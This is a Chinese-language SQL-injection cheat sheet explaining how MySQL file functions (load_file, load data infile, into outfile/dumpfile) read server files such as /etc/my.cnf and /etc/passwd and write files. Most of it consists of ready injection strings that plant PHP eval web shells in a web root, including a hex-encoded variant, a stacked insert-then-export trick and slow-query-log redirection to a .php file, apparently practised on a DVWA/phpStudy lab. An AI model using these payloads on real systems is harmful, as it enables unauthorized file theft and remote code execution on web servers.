读文件
首先,如果系统开启了 selinux(用户读取一个文件,必须该进程先通过SELinux验证,然后才是对用户的权限进行验证),是无法读取到其他服务配置文件或者 /etc/passwd 的,需要将 selinux 关闭才能读取。
load_file
查询命令
select load_file("/etc/my.cnf");
条件:受secure_file_priv字段的限制 当 mysql secure_file_priv 配置项为空(空是""而不是NULL,NULL代表不可读取),或者指定的一个目录时,即可读取文件。
show variables like "%secure%"
load data infile & load data local infile
条件: load data infile 受secure_file_priv字段的限制 load data local infile 受客户端限制,如php.ini中mysqli.allow_local_infile = on
load data infile '/etc/my.cnf' into table test;
load data local infile '/etc/my.cnf' into table test;
这两句虽然都是读取文件并存到表中的,但是是有一定的区别的,按照我的理解是,第一句 SQL 是讲 mysql 服务所在的机器上的文件存到数据库中,而第二句是讲连接 mysql 的机器上的文件存入到 mysql 中
写文件
outfile & dumpfile
条件: 当 secure_file_priv 配置项为空或者指定了一个目录时,且该目录mysql有写入权限。
特点: 1、outfile可导出多行,dumpfile只能倒出一行 2、outfile和dumpfile的路径不能是0x开头或者char转换以后的路径 3、outfile将数据写到文件里时有特殊的格式转换 4、dumpfile 在写?件时会保持?件的原?内容/原数据格式,适合写二进制文件,如exe文件,udf提权的dll文件 4、outfile 和 dumpfile 在 mysql 3.23.55版本之后,不可以覆盖文件,只能创建新文件
select "123" into outfile "/tmp/123.txt";
select "123" into dumpfile "/tmp/123.txt";
举例: 一句话直接写
-1' union select 1,"<?php @eval($_POST['c']);?>" into outfile "C:/phpStudy/WWW/shell.php"
一句话shell HEX编码
id=-1' union select 1,0x3C3F70687020406576616C28245F504F53545B2763275D293B3F3E into outfile "C:/phpStudy/WWW/shell.php"#
先插入后写入
id=-1';insert into dvwa.guestbook values (2,"<?php @eval($_POST['c']);?>","shell") ;
id=-1' union select comment,name from dvwa.guestbook into outfile 'C:/phpStudy/WWW/shell.php';
日志
可以通过慢查询日志写入shell,慢查询日志是用来记录执行时间超过指定时间的查询语句 查看日志情况
SHOW GLOBAL VARIABLES LIKE '%log%';
- slow_query_log :表示慢查询日志是否开启,ON表示开启,OFF表示未开启,默认OFF
- slow_query_log_file :表示慢查询日志文件的路径
上面两个值我们都可以通过sql语句进行更改。
查看多久会触发慢查询
SHOW GLOBAL VARIABLES LIKE 'long%'
例子 1.开启慢查询日志并修改日志为网站路径下的脚本
-1';set global slow_query_log = 1;set global slow_query_log_file='C:/phpStudy/WWW/logshell.php';
2.执行包含Shell的查询语句并使用sleep(11)让语句记录进慢查询日志脚本
-1';select "<?php eval($_POST[log]);?>" from users where sleep(11);
参考: https://www.freebuf.com/articles/web/244103.html https://www.freebuf.com/articles/web/243136.html
|